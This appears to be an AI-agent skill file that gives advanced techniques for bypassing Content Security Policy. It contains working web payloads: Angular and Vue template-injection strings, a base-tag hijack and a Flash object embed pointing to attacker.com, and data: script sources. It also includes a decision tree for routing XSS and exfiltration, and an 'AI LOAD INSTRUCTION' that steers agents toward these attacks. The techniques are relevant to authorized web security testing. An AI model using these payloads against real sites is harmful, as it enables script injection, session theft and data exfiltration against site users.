csp-bypass-advanced

name: csp-bypass-advanced description: >- Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

0. RELATED ROUTING

• xss-cross-site-scripting for XSS vectors to deliver after CSP bypass
• dangling-markup-injection when CSP blocks scripts but HTML injection exists — exfiltrate without JS
• crlf-injection when CRLF can inject CSP header or steal nonce via response splitting
• waf-bypass-techniques when both WAF and CSP must be bypassed
• clickjacking when CSP lacks frame-ancestors — clickjacking still possible

1. CSP DIRECTIVE REFERENCE MATRIX

Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:

2.2 script-src with CDN Whitelist

script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net

Trick: Search for JSONP endpoints on whitelisted domains: site:googleapis.com inurl:callback

2.3 script-src 'unsafe-eval'

eval(), Function(), setTimeout(string), setInterval(string) all permitted.

// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))

2.4 script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.

2.5 script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

2.6 Angular / Vue CSP Bypass

Angular (with CSP):

<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>

2.7 Missing object-src

If object-src is not set (falls back to default-src), and default-src allows some origins:

<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">

2.8 Missing base-uri

<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->

This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.

2.9 Missing frame-ancestors

CSP without frame-ancestors → page can be framed → clickjacking possible.

X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.

3. CSP IN META TAG vs. HEADER

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Meta tag limitations:

• Cannot set frame-ancestors (ignored in meta)
• Cannot set report-uri / report-to
• Cannot set sandbox
• If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
• If page has both header CSP and meta CSP, both apply (most restrictive wins)

4. DATA EXFILTRATION DESPITE CSP

When connect-src, img-src, etc. are locked down, alternative exfiltration channels:

DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

5. CSP BYPASS DECISION TREE

CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

6. TRICK NOTES — WHAT AI MODELS MISS

1. default-src 'self' does NOT restrict base-uri or form-action — these have no fallback. This is the #1 CSP mistake.
2. strict-dynamic ignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. Only nonce/hash and trust propagation matter.
3. Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
4. Content-Security-Policy-Report-Only does not enforce — it only reports. Check for the correct header name.
5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
6. Report-uri information disclosure: CSP violation reports sent to report-uri contain blocked-uri, source-file, line-number — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
7. data: in script-src: script-src 'self' data: allows <script src="data:text/javascript,alert(1)"> — trivial bypass, but commonly seen in real-world CSPs.